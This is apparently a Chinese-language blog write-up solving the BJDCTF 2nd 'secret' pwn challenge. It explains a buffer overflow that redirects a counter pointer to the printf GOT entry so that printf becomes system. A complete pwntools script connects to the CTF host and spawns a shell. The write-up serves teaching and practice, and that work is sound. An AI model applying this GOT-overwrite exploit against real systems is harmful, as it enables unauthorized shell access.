BJDCTF 2nd secret

BJDCTF 2nd secret

首先,檢查一下程序的保護機制

然後,我們用IDA分析一下

是一個猜數遊戲,數值全在代碼裏,但是有10000個,顯然全部摳出來太慢了。

我們再看一下其他函數,發現輸入name時,存在緩衝區溢出,可以改寫0x000000000046D090處的指針,而該處指針指向count變量,每猜一下,就會對count減1。

然後,我們注意到printf的got表的值比system的got表的值大,並且相差0x10.

因此,我們可以利用溢出,把指針覆蓋爲printf的got表,然後猜對15次,最後一次猜錯。這會導致printf的got表值減去16,也就變成了system的got表一樣的值。從而能夠調用system。

#coding:utf8
from pwn import *

#sh = process('./secret')
sh = remote('node3.buuoj.cn',26191)
elf = ELF('./secret')
printf_got = elf.got['printf']

answer = [0x476B,0x2D38,0x4540,0x3E77,0x3162,0x3F7D,0x357A,0x3CF5,0x2F9E,0x41EA,0x48D8,0x2763,0x474C,0x3809,0x2E63]
payload = '/bin/sh\x00'.ljust(0x10,'\x00') + p32(printf_got)
sh.sendafter("What's your name?",payload)
for x in answer:
   sh.sendlineafter('Secret:',str(x))
#現在printf的got表被修改爲了system_plt
#getshell
sh.sendlineafter('Secret:','1')

sh.interactive()

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章